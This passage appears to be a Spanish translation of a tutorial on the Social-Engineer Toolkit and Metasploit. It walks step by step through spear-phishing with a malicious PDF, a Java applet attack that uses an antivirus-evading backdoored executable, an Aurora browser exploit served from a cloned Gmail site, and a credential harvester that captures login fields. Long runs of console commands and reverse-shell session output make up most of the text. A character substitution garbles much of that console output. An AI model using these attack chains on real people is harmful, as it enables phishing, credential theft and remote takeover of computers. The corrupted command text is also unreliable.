wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
resource (src*pro4ramIjun#*metaIconf4)> set C>9=2 ,%-.,(.&-.,-)
C>9=2 => ,%-.,(.&-.,-)
resource (src*pro4ramIjun#*metaIconf4)> set CP9?2 ..&
CP9?2 => ..&
resource (src*pro4ramIjun#*metaIconf4)> set 3LC97BL; s"#ataI4aIna
3LC97BL; => s"#ataI4aIna
resource (src*pro4ramIjun#*metaIconf4)> set 3!t9n=esson false
3!t9n=esson => false
resource (src*pro4ramIjun#*metaIconf4)> e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
msf e!plot("andler) >
PZQ =tarted re5erse "andler on ,%-.,(.&-.,-)M..&
PZQ =tartn4 t"e payload "andler...
msf e!plot("andler) >
1na ve- 'ue el ata'ue es toda la confi!uracin6 la v3ctima are el correo electrnico y are el 2DF
a=
Tan pronto como la vctima abre el archivo ad%unto, una shell se presenta de nuevo a nosotros=
PZQ =endn4 sta4e (%.0/.. bytes) to ,%-.,(.&-.,&,
PZQ Meterpreter sesson , opened (,%-.,(.&-.,-)M..& 1> ,%-.,(.&-.,&,M,,&)) at 2"u
=ep ') ')M/0M'( 1'.'' -','
msf e!plot("andler) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter > s"ell
Process &).' created.
C"annel , created.
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\7ocuments and =ettn4s\Ddmnstrator\7es#top>
El ataque de phishin lanza se puede enviar a varias personas o individuos, que se intera en el correo
de .oole, y puede ser totalmente personalizada seDn sus necesidades para el vector de ataque. En
eneral este es muy eficaz para el correo electrnico de phishin lanza.
[ava Applet Attack +ector
El 'pplet de +ava es uno de los principales vectores dentro de un con%unto y tiene la mayor tasa de
!xito para el compromiso. El un applet de +ava va a crear un applet de +ava malicioso que, una vez
e%ecutado, por completo compromiso de la vctima. El truco con SET es que se puede clonar por
completo un sitio 2eb y una vez que la vctima se ha quedado clic en !l, volver a diriir a la vctima
de vuelta a la pina de orien que hace el ataque mucho ms creble. Este vector de ataque afecta a
(indo2s, 7inux y ,SN y pueden poner en peliro a todos. 6ecuerde, si desea personalizar este vector
de ataque, editar el archivo confi > set@confi con el fin de cambiar la informacin del certificado con
firma personal. En este vector de ataque especfico, puede seleccionar las plantillas 2eb que se pre?
definidos los sitios 2eb que ya han sido cosechados, o puede importar su propio sitio 2eb. En este
e%emplo vamos a utilizar el clonador sitio que clonar a un sitio 2eb para nosotros. :amos a lanzar SET
y preparacin de nuestro ataque.
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM -
2"e =ocal13n4neer 2ool#t :Eeb Dttac#: 5ector s a un@ue way of
utl+n4 multple web1based attac#s n order to compromse t"e
ntended 5ctm.
3nter w"at type of attac# you would l#e to utl+e.
2"e ba5a Dpplet attac# wll spoof a ba5a Certfcate and
del5er a metasplot based payload. <ses a custom+ed
ja5a applet created by 2"omas Eert" to del5er
t"e payload.
2"e Metasplot browser e!plot met"od wll utl+e select
Metasplot browser e!plots t"rou4" an frame and del5er
a Metasplot payload.
2"e Credental >ar5ester Met"od wll utl+e web clonn4
of a webste t"at "as a username and password feld and
"ar5est all t"e nformaton posted to t"e webste.
2"e 2abLabbn4 Met"od wll wat for a user to mo5e to a
dfferent tabR t"en refres" t"e pa4e to somet"n4 dfferent.
2"e Man Ceft n t"e Mddle Dttac# Met"od was ntroduced by
Xos and utl+es >22P ?363?3?As n order to ntercept felds
and "ar5est data from t"em. Jou need to "a5e an already 5ulnerable
ste and ncorporate scrpt src=:"ttpM**J9<?BP*:. 2"s could et"er
be from a compromsed ste or t"rou4" K==.
2"e web jac#n4 attac# met"od was ntroduced by w"teIs"eepR 3m4ent
and t"e $ac#[2rac# team. 2"s met"od utl+es frame replacements to
ma#e t"e "4"l4"ted <?C ln# to appear le4tmate "owe5er w"en clc#ed
a wndow pops up t"en s replaced wt" t"e malcous ln#. Jou can edt
t"e ln# replacement settn4s n t"e setIconf4 f ts to slow*fast.
2"e mult1attac# wll add a combnaton of attac#s t"rou4" t"e web attac#
menu. 6or e!ample you can utl+e t"e ba5a DppletR Metasplot $rowserR
Credental >ar5ester*2abnabbn4R and t"e Man Ceft n t"e Mddle attac#
all at once to see w"c" s successful.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M ,
2"e frst met"od wll allow =32 to mport a lst of pre1defned
web applcatons t"at t can utl+e wt"n t"e attac#.
2"e second met"od wll completely clone a webste of your c"oosn4
and allow you to utl+e t"e attac# 5ectors wt"n t"e completely
same web applcaton you were attemptn4 to clone.
2"e t"rd met"od allows you to mport your own websteR note t"at you
s"ould only "a5e an nde!."tml w"en usn4 t"e mport webste
functonalty.
P!Q Eebste Dttac# 8ectors P!Q
,. Eeb 2emplates
-. =te Cloner
&. Custom Bmport
.. ?eturn to man menu
3nter number (,1.)M -
=32 supports bot" >22P and >22P=
3!ampleM "ttpM**www.t"ssafa#este.com
3nter t"e url to cloneM "ttpsM**4mal.com
PZQ Clonn4 t"e websteM "ttpsM**4mal.com
PZQ 2"s could ta#e a lttle bt...
PZQ Bnjectn4 ba5a Dpplet attac# nto t"e newly cloned webste.
PZQ 6lename obfuscaton complete. Payload name sM t4bJm,#()
PZQ Malcous ja5a applet webste prepped for deployment
E"at payload do you want to 4enerateM
LameM 7escrptonM
,. Endows ="ell ?e5erseI2CP =pawn a command s"ell on 5ctm and
send bac# to attac#er.
-. Endows ?e5erseI2CP Meterpreter =pawn a meterpreter s"ell on 5ctm and
send bac# to attac#er.
&. Endows ?e5erseI2CP 8LC 7CC =pawn a 8LC ser5er on 5ctm and send
bac# to attac#er.
.. Endows $nd ="ell 3!ecute payload and create an acceptn4
port on remote system.
/. Endows $nd ="ell K(. Endows !(. Command ="ellR $nd 2CP
Bnlne
(. Endows ="ell ?e5erseI2CP K(. Endows K(. Command ="ellR ?e5erse 2CP
Bnlne
%. Endows Meterpreter ?e5erseI2CP K(. Connect bac# to t"e attac#er (Endows
!(.)R Meterpreter
0. Endows Meterpreter 34ress $uster =pawn a meterpreter s"ell and fnd a
port "ome 5a multple ports
). Bmport your own e!ecutable =pecfy a pat" for your own e!ecutable
3nter c"oce ("t enter for default)M -
$elow s a lst of encodn4s to try and bypass D8.
=elect one of t"e belowR Abac#doored e!ecutableA s typcally t"e best.
,. a5odIutf0Itolower (Lormal)
-. s"#ataI4aIna (8ery ;ood)
&. alp"aIm!ed (Lormal)
.. alp"aIupper (Lormal)
/. call.IdwordI!or (Lormal)
(. countdown (Lormal)
%. fnsten5Imo5 (Lormal)
0. jmpIcallIaddt5e (Lormal)
). nonalp"a (Lormal)
,'. nonupper (Lormal)
,,. uncodeIm!ed (Lormal)
,-. uncodeIupper (Lormal)
,&. alp"a- (Lormal)
,.. Lo 3ncodn4 (Lone)
,/. Mult13ncoder (3!cellent)
,(. $ac#doored 3!ecutable ($3=2)
3nter your c"oce (enter for default)M ,(
P1Q 3nter t"e P9?2 of t"e lstener (enter for default)M ..&
P1Q $ac#doorn4 a le4t e!ecutable to bypass Dnt18rus. Eat a few seconds...
P1Q $ac#door completed successfully. Payload s now "dden wt"n a le4t
e!ecutable.
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
7o you want to create a Cnu!*9=K re5erseItcp payload
n t"e ba5a Dpplet attac# as wellW
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
3nter c"oce yes or noM yes
3nter t"e port to lsten for on 9=KM 0'0'
3nter t"e port to lsten for on Cnu!M 0'0,
Created by msfpayload ("ttpM**www.metasplot.com).
PayloadM os!*!0(*s"ellIre5erseItcp
Cen4t"M (/
9ptonsM C>9=2=,%-.,(.&-.,-)RCP9?2=0'0'
Created by msfpayload ("ttpM**www.metasplot.com).
PayloadM lnu!*!0(*s"ell*re5erseItcp
Cen4t"M /'
9ptonsM C>9=2=,%-.,(.&-.,-)RCP9?2=0'0,
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Eeb =er5er Caunc"ed. Eelcome to t"e =32 Eeb Dttac#.
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
P11Q 2ested on B3(R B3%R B30R =afarR C"romeR and 6re6o! P11Q
PZQ Caunc"n4 M=6 Cstener...
PZQ 2"s may ta#e a few to load M=6...
P1Q ZZZ
P1Q Z ED?LBL;M Lo database supportM =trn4 <ser 7sabled 7atabase =upport
P1Q ZZZ
I
[ [ o
I I I I I[I IIR R I [ [ II I[I
* [* [* [ [* [ * [ * \I[* \I[* * \I[ [
[ [ [I*[II*[I*\I*[I* \* [II* [II*\II* [I*[I*
*[
\[
=P metasplot 5&...-1de5 PcoreM&.. apM,.'Q
U 11 11=P /00 e!plots 1 &'' au!lary
U 11 11=P --. payloads 1 -% encoders 1 0 nops
=P s5n r,'-(0 updated today (-','.').'))
resource (src*pro4ramIjun#*metaIconf4)> use e!plot*mult*"andler
resource (src*pro4ramIjun#*metaIconf4)> set PDJC9D7
wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
resource (src*pro4ramIjun#*metaIconf4)> set C>9=2 '.'.'.'
C>9=2 => '.'.'.'
resource (src*pro4ramIjun#*metaIconf4)> set CP9?2 ..&
CP9?2 => ..&
resource (src*pro4ramIjun#*metaIconf4)> set 3!t9n=esson false
3!t9n=esson => false
resource (src*pro4ramIjun#*metaIconf4)> e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
resource (src*pro4ramIjun#*metaIconf4)> use e!plot*mult*"andler
resource (src*pro4ramIjun#*metaIconf4)> set PDJC9D7 os!*!0(*s"ellIre5erseItcp
PDJC9D7 => os!*!0(*s"ellIre5erseItcp
resource (src*pro4ramIjun#*metaIconf4)> set C>9=2 ,%-.,(.&-.,-)
C>9=2 => ,%-.,(.&-.,-)
resource (src*pro4ramIjun#*metaIconf4)> set CP9?2 0'0'
CP9?2 => 0'0'
resource (src*pro4ramIjun#*metaIconf4)> set 3!t9n=esson false
3!t9n=esson => false
PZQ =tarted re5erse "andler on '.'.'.'M..&
resource (src*pro4ramIjun#*metaIconf4)> e!plot 1j
PZQ =tartn4 t"e payload "andler...
PZQ 3!plot runnn4 as bac#4round job.
resource (src*pro4ramIjun#*metaIconf4)> use e!plot*mult*"andler
resource (src*pro4ramIjun#*metaIconf4)> set PDJC9D7 lnu!*!0(*s"ell*re5erseItcp
PDJC9D7 => lnu!*!0(*s"ell*re5erseItcp
resource (src*pro4ramIjun#*metaIconf4)> set C>9=2 ,%-.,(.&-.,-)
C>9=2 => ,%-.,(.&-.,-)
resource (src*pro4ramIjun#*metaIconf4)> set CP9?2 0'0,
CP9?2 => 0'0,
resource (src*pro4ramIjun#*metaIconf4)> set 3!t9n=esson false
3!t9n=esson => false
resource (src*pro4ramIjun#*metaIconf4)> set Duto?un=crpt m4rate 1f
PZQ =tarted re5erse "andler on ,%-.,(.&-.,-)M0'0'
Duto?un=crpt => m4rate 1f
resource (src*pro4ramIjun#*metaIconf4)> e!plot 1j
PZQ =tartn4 t"e payload "andler...
PZQ 3!plot runnn4 as bac#4round job.
msf e!plot("andler) >
PZQ =tarted re5erse "andler on ,%-.,(.&-.,-)M0'0,
PZQ =tartn4 t"e payload "andler...
En este ataque, hemos creado nuestro escenario para clonar https=>>mail.com y utilizar el vector de
meterpreter inverso en el puerto IIE. "emos utilizado el e%ecutable de de bac3door para eludir suerte
de anti?virus y confiurar el &etasploit frame2or3 multi?controlador para coer las conexiones
inverso. Si desea utilizar un correo electrnico con este vector de ataque, puede editar el archivo confi
> set@confi y cambiar el (E;'TT'$*@E&'47 T ,## para (E;'TT'$*@E&'47 T ,9. 'l llear
a la vctima a hacer clic en un enlace o anmelo a su sitio 2eb, que se ver alo como esto=
Tan pronto como la vctima hace clic en E%ecutar, se le presenta una shell meterpreter, y la vctima es
enviado de nuevo a la oriinal sitio de .oole completamente conscientes de que han sido
comprometidos.
PZQ =endn4 sta4e (%.0/.. bytes) to ,%-.,(.&-.,&,
PZQ Meterpreter sesson , opened (,%-.,(.&-.,-)M..& 1> ,%-.,(.&-.,&,M,,0&) at 2"u
=ep ') ,'M'(M/% 1'.'' -','
msf e!plot("andler) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter > s"ell
Process -)00 created.
C"annel , created.
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
C:\Documents and Settings\Administrator\Desktop>
Metasploit <rowser Attack Method
El naveador de &etasploit frame2or3 &!todo Exploit importar &etasploit frame2or3 explota el
lado del cliente con la posibilidad de clonar a un sitio 2eb y utilizar basados en el naveador explota.
Echemos un rpido vistazo a la e%ecucin de una explotacin de naveador a trav!s de SET.
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM -
2"e =ocal13n4neer 2ool#t :Eeb Dttac#: 5ector s a un@ue way of
utl+n4 multple web1based attac#s n order to compromse t"e
ntended 5ctm.
3nter w"at type of attac# you would l#e to utl+e.
2"e ba5a Dpplet attac# wll spoof a ba5a Certfcate and
del5er a metasplot based payload. <ses a custom+ed
ja5a applet created by 2"omas Eert" to del5er
t"e payload.
2"e Metasplot browser e!plot met"od wll utl+e select
Metasplot browser e!plots t"rou4" an frame and del5er
a Metasplot payload.
2"e Credental >ar5ester Met"od wll utl+e web clonn4
of a webste t"at "as a username and password feld and
"ar5est all t"e nformaton posted to t"e webste.
2"e 2abLabbn4 Met"od wll wat for a user to mo5e to a
dfferent tabR t"en refres" t"e pa4e to somet"n4 dfferent.
2"e Man Ceft n t"e Mddle Dttac# Met"od was ntroduced by
Xos and utl+es >22P ?363?3?As n order to ntercept felds
and "ar5est data from t"em. Jou need to "a5e an already 5ulnerable
ste and ncorporate scrpt src=:"ttpM**J9<?BP*:. 2"s could et"er
be from a compromsed ste or t"rou4" K==.
2"e web jac#n4 attac# met"od was ntroduced by w"teIs"eepR 3m4ent
and t"e $ac#[2rac# team. 2"s met"od utl+es frame replacements to
ma#e t"e "4"l4"ted <?C ln# to appear le4tmate "owe5er w"en clc#ed
a wndow pops up t"en s replaced wt" t"e malcous ln#. Jou can edt
t"e ln# replacement settn4s n t"e setIconf4 f ts to slow*fast.
2"e mult1attac# wll add a combnaton of attac#s t"rou4" t"e web attac#
menu. 6or e!ample you can utl+e t"e ba5a DppletR Metasplot $rowserR
Credental >ar5ester*2abnabbn4R and t"e Man Ceft n t"e Mddle attac#
all at once to see w"c" s successful.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M -
2"e frst met"od wll allow =32 to mport a lst of pre1defned
web applcatons t"at t can utl+e wt"n t"e attac#.
2"e second met"od wll completely clone a webste of your c"oosn4
and allow you to utl+e t"e attac# 5ectors wt"n t"e completely
same web applcaton you were attemptn4 to clone.
2"e t"rd met"od allows you to mport your own websteR note t"at you
s"ould only "a5e an nde!."tml w"en usn4 t"e mport webste
functonalty.
P!Q Eebste Dttac# 8ectors P!Q
,. Eeb 2emplates
-. =te Cloner
&. Custom Bmport
.. ?eturn to man menu
3nter number (,1.)M -
=32 supports bot" >22P and >22P=
3!ampleM "ttpM**www.t"ssafa#este.com
3nter t"e url to cloneM "ttpsM**4mal.com
3nter t"e browser e!plot you would l#e to use
,. Bnternet 3!plorer C== 2a4s Memory Corrupton
-. =un ba5a ?untme Lew Plu4n docbase $uffer 95erflow
&. Mcrosoft Endows Eeb7D8 Dpplcaton 7CC >jac#er
.. Ddobe ="oc#wa5e rcsC Memory Corrupton 3!plot
/. Ddobe Cool2ype =BL; 2able :un@ueLame: =tac# $uffer 95erflow
(. Dpple Suc#2me %.(.% IMars"aledIp<n# Code 3!ecuton
%. Mcrosoft >elp Center K== and Command 3!ecuton (M=,'1'.-)
0. Mcrosoft Bnternet 3!plorer epeers.dll <se Dfter 6ree (M=,'1',0)
). Mcrosoft Bnternet 3!plorer 2abular 7ata Control 3!plot (M=,'1',0)
,'. Mcrosoft Bnternet 3!plorer :Durora: Memory Corrupton (M=,'1''-)
,,. Mcrosoft Bnternet 3!plorer % <nntal+ed Memory Corrupton (M=')1''-)
,-. Mcrosoft Bnternet 3!plorer =tyle 4et3lementsby2a4Lame Corrupton (M=')1'%-)
,&. Mcrosoft Bnternet 3!plorer sComponentBnstalled 95erflow
,.. Mcrosoft Bnternet 3!plorer 3!plorer 7ata $ndn4 Corrupton (M='01'%0)
,/. Mcrosoft Bnternet 3!plorer <nsafe =crptn4 Msconf4uraton
,(. 6re6o! &./ escape ?eturn 8alue Memory Corrupton
,%. Metasplot $rowser Dutopwn (<=3 D2 9EL ?B=X!)
3nter your c"oce (,1,-) (enter for default)M %
E"at payload do you want to 4enerateM
LameM 7escrptonM
,. Endows ="ell ?e5erseI2CP =pawn a command s"ell on 5ctm and
send bac# to attac#er.
-. Endows ?e5erseI2CP Meterpreter =pawn a meterpreter s"ell on 5ctm and
send bac# to attac#er.
&. Endows ?e5erseI2CP 8LC 7CC =pawn a 8LC ser5er on 5ctm and send
bac# to attac#er.
.. Endows $nd ="ell 3!ecute payload and create an acceptn4
port on remote system.
/. Endows $nd ="ell K(. Endows !(. Command ="ellR $nd 2CP
Bnlne
(. Endows ="ell ?e5erseI2CP K(. Endows K(. Command ="ellR ?e5erse 2CP
Bnlne
%. Endows Meterpreter ?e5erseI2CP K(. Connect bac# to t"e attac#er (Endows
!(.)R Meterpreter
0. Endows Meterpreter 34ress $uster =pawn a meterpreter s"ell and fnd a
port "ome 5a multple ports
). 7ownload*?un your 9wn 3!ecutable 7ownloads an e!ecutable and runs t
3nter c"oce (e!ample ,10) (3nter for default)M
3nter t"e port to use for t"e re5erse (enter for default)M
PZQ Clonn4 t"e websteM "ttpsM**4mal.com
PZQ 2"s could ta#e a lttle bt...
PZQ Bnjectn4 frames nto cloned webste for M=6 Dttac#....
PZQ Malcous frame njecton successful...craftn4 payload.
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Eeb =er5er Caunc"ed. Eelcome to t"e =32 Eeb Dttac#.
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
P11Q 2ested on B3(R B3%R B30R =afarR C"romeR and 6re6o! P11Q
PZQ Caunc"n4 M=6 Cstener...
PZQ 2"s may ta#e a few to load M=6...
P1Q ZZZ
P1Q Z ED?LBL;M Lo database supportM =trn4 <ser 7sabled 7atabase =upport
P1Q ZZZ
HH HHH HH HH
HH HH HHHH HHHHHH HHHH HHHHH HHHHH HH HHHH HHHHHH
HHHHHHH HH HH HH HH HH HH HH HH HH HH HHH HH
HHHHHHH HHHHHH HH HHHHH HHHH HH HH HH HH HH HH HH
HH H HH HH HH HH HH HH HHHHH HH HH HH HH HH
HH HH HHHH HHH HHHHH HHHHH HH HHHH HHHH HHHH HHH
HH
=P metasplot 5&...-1de5 PcoreM&.. apM,.'Q
U 11 11=P /00 e!plots 1 &'' au!lary
U 11 11=P --. payloads 1 -% encoders 1 0 nops
=P s5n r,'-(0 updated today (-','.').'))
resource (src*pro4ramIjun#*metaIconf4)> use wndows*browser*ms,'I''-Iaurora
resource (src*pro4ramIjun#*metaIconf4)> set PDJC9D7
wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
resource (src*pro4ramIjun#*metaIconf4)> set C>9=2 ,%-.,(.&-.,-)
C>9=2 => ,%-.,(.&-.,-)
resource (src*pro4ramIjun#*metaIconf4)> set CP9?2 ..&
CP9?2 => ..&
resource (src*pro4ramIjun#*metaIconf4)> set <?BPD2> *
<?BPD2> => *
resource (src*pro4ramIjun#*metaIconf4)> set =?8P9?2 0'0'
=?8P9?2 => 0'0'
resource (src*pro4ramIjun#*metaIconf4)> set 3!t9n=esson false
3!t9n=esson => false
resource (src*pro4ramIjun#*metaIconf4)> e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
msf e!plot(ms,'I''-Iaurora) >
PZQ =tarted re5erse "andler on ,%-.,(.&-.,-)M..&
PZQ <sn4 <?CM "ttpM**'.'.'.'M0'0'*
PZQ Cocal BPM "ttpM**,%-.,(.&-.,-)M0'0'*
PZQ =er5er started.
5na vez que la vctima se desplaza a nuestro sitio 2eb malicioso, se ver exactamente iual que el sitio
clonado y comprometer el sistema.
PZQ =endn4 sta4e (%.0/.. bytes) to ,%-.,(.&-.,&,
PZQ Meterpreter sesson , opened (,%-.,(.&-.,-)M..& 1> ,%-.,(.&-.,&,M,,0&) at 2"u
=ep ') ,'M,.M-- 1'.'' -','
msf e!plot("andler) > sessons 1 ,
PZQ =tartn4 nteracton wt" ,...
meterpreter > s"ell
Process -)00 created.
C"annel , created.
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\7ocuments and =ettn4s\Ddmnstrator\7es#top>
#redential "arvester Attack Method
El m!todo de credenciales harvester se utiliza cuando no se quiere obtener un shell, pero
especficamente realizar ataques de phishin para obtener nombre de usuario y contrase0as del sistema.
En este vector de ataque, un sitio 2eb se va a clonar, y cuando la vctima entra en sus credenciales de
usuario, los nombres de usuario y contrase0as se publicarn de nuevo a su equipo y la vctima va a ser
rediriido al sitio letimo.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M &
2"e frst met"od wll allow =32 to mport a lst of pre1defned
web applcatons t"at t can utl+e wt"n t"e attac#.
2"e second met"od wll completely clone a webste of your c"oosn4
and allow you to utl+e t"e attac# 5ectors wt"n t"e completely
same web applcaton you were attemptn4 to clone.
2"e t"rd met"od allows you to mport your own websteR note t"at you
s"ould only "a5e an nde!."tml w"en usn4 t"e mport webste
functonalty.
P!Q Eebste Dttac# 8ectors P!Q
,. Eeb 2emplates
-. =te Cloner
&. Custom Bmport
.. ?eturn to man menu
3nter number (,1.)M -
3mal "ar5ester wll allow you to utl+e t"e clone capabltes wt"n =32
to "ar5est credentals or parameters from a webste as well as place t"em nto a
report.
=32 supports bot" >22P and >22P=
3!ampleM "ttpM**www.t"ssafa#este.com
3nter t"e url to cloneM "ttpsM**4mal.com
PZQ Clonn4 t"e websteM "ttpsM**4mal.com
PZQ 2"s could ta#e a lttle bt...
2"e best way to use t"s attac# s f username and password form
felds are a5alable. ?e4ardlessR t"s captures all P9=2s on a webste.
PZQ B "a5e read t"e abo5e messa4e. PZQ
Press OreturnV to contnue.
PZQ =ocal13n4neer 2ool#t Credental >ar5ester Dttac#
PZQ Credental >ar5ester s runnn4 on port 0'
PZQ Bnformaton wll be dsplayed to you as t arr5es belowM
5na vez que la vctima hace clic en el vnculo, se le presentar una r!plica exacta de mail.com y
espero ser atrados a entrar en su nombre de usuario y contrase0a en los campos del formulario.
Tan pronto como la vctima llea sesin, se nos presenta con las credenciales y la vctima se redirie al
sitio letimo.
PZQ =ocal13n4neer 2ool#t Credental >ar5ester Dttac#
PZQ Credental >ar5ester s runnn4 on port 0'
PZQ Bnformaton wll be dsplayed to you as t arr5es belowM
,%-.,(.&-.,&, 1 1 P')*=ep*-',' ,'M,-M//Q :;32 * >22P*,.,: -'' 1
PZQ E3 ;92 D >B2! Prntn4 t"e outputM
PD?DMM ltmpl=default
PD?DMM ltmplcac"e=-
PD?DMM contnue="ttpsM**mal.4oo4le.com*mal*W
PD?DMM ser5ce=mal
PD?DMM rm=false
PD?DMM ds"=1%/&(%(.(('-(.(-'0'.
PD?DMM ltmpl=default
PD?DMM ltmpl=default
PD?DMM scc=,
PD?DMM ss=,
PD?DMM tme=tmp=
PD?DMM sec2o#=
PD?DMM ;DCK=nwDEL23@;c
P9==B$C3 <=3?LDM3 6B3C7 69<L7M 3mal=t"ssmyuser
P9==B$C3 PD==E9?7 6B3C7 69<L7M Passwd=t"ssmypassword
PD?DMM rm="own=,
PD?DMM s4nBn==4nUn
PD?DMM asts=
PZQ E>3L J9<? 6BLB=>37. >B2 C9L2?9C1C 29 ;3L3?D23 D ?3P9?2
Tambi!n tena en cuenta que cuando haya terminado, pulse $ontrol?$, y se presentar un informe
enerado para usted en dos formatos. El primero es un informe basado en "T&7, el otro es xml que es
necesario analizar la informacin en otra herramienta.
dCPZQ 6le e!ported to reports*-','1')1') ,'M,.M&'.,/-.&/."tml for your readn4
pleasure...
PZQ 6le n KMC format e!ported to reports*-','1')1') ,'M,.M&'.,/-.&/.!ml for your
readn4 pleasure...
Press OreturnV to return to t"e menu.dC
2"e =ocal13n4neer 2ool#t :Eeb Dttac#: 5ector s a un@ue way of
utl+n4 multple web1based attac#s n order to compromse t"e
ntended 5ctm.
3nter w"at type of attac# you would l#e to utl+e.
2"e ba5a Dpplet attac# wll spoof a ba5a Certfcate and
del5er a metasplot based payload. <ses a custom+ed
ja5a applet created by 2"omas Eert" to del5er
t"e payload.
2"e Metasplot browser e!plot met"od wll utl+e select
Metasplot browser e!plots t"rou4" an frame and del5er
a Metasplot payload.
2"e Credental >ar5ester Met"od wll utl+e web clonn4
of a webste t"at "as a username and password feld and
"ar5est all t"e nformaton posted to t"e webste.
2"e 2abLabbn4 Met"od wll wat for a user to mo5e to a
dfferent tabR t"en refres" t"e pa4e to somet"n4 dfferent.
2"e Man Ceft n t"e Mddle Dttac# Met"od was ntroduced by
Xos and utl+es >22P ?363?3?As n order to ntercept felds
and "ar5est data from t"em. Jou need to "a5e an already 5ulnerable
ste and ncorporate scrpt src=:"ttpM**J9<?BP*:. 2"s could et"er
be from a compromsed ste or t"rou4" K==.
2"e web jac#n4 attac# met"od was ntroduced by w"teIs"eepR 3m4ent
and t"e $ac#[2rac# team. 2"s met"od utl+es frame replacements to
ma#e t"e "4"l4"ted <?C ln# to appear le4tmate "owe5er w"en clc#ed
a wndow pops up t"en s replaced wt" t"e malcous ln#. Jou can edt
t"e ln# replacement settn4s n t"e setIconf4 f ts to slow*fast.
2"e mult1attac# wll add a combnaton of attac#s t"rou4" t"e web attac#
menu. 6or e!ample you can utl+e t"e ba5a DppletR Metasplot $rowserR
Credental >ar5ester*2abnabbn4R and t"e Man Ceft n t"e Mddle attac#
all at once to see w"c" s successful.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M dC
2"an# you for s"oppn4 at t"e =ocal13n4neer 2ool#t.
>ac# t"e ;bson...
rootGbtM*pentest*e!plots*setH frefo! reports*-','1')1')\ ,'\M,.\M&'.,/-.&/.
-','1')1') ,'M,.M&'.,/-.&/."tml -','1')1') ,'M,.M&'.,/-.&/.!ml
rootGbtM*pentest*e!plots*setH frefo! reports*-','1')1')\ ,'\M,.\M&'.,/-.&/."tml
Tanain! Attack Method
El m!todo de ataque tabnabbin se utiliza cuando la vctima tiene varias pesta0as abiertas, cuando el
usuario hace clic en el enlace, la vctima se present con un C/or favor espere mientras se cara la
pinaC. $uando la vctima cambia las fichas porque !l > ella es multitarea, la pina 2eb detecta que
una pesta0a diferente est presente y vuelve a escribir la pina 2eb a un sitio 2eb que usted
especifique. 7a vctima hace clic de nuevo en la ficha despu!s de un perodo de tiempo y piensa que se
firm de su prorama de correo electrnico o de sus aplicaciones de neocio y tipos de las credenciales
pul $uando las credenciales se insertan, que se cosechan y se redirie al usuario volver a la oriinal
sitio 2eb.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
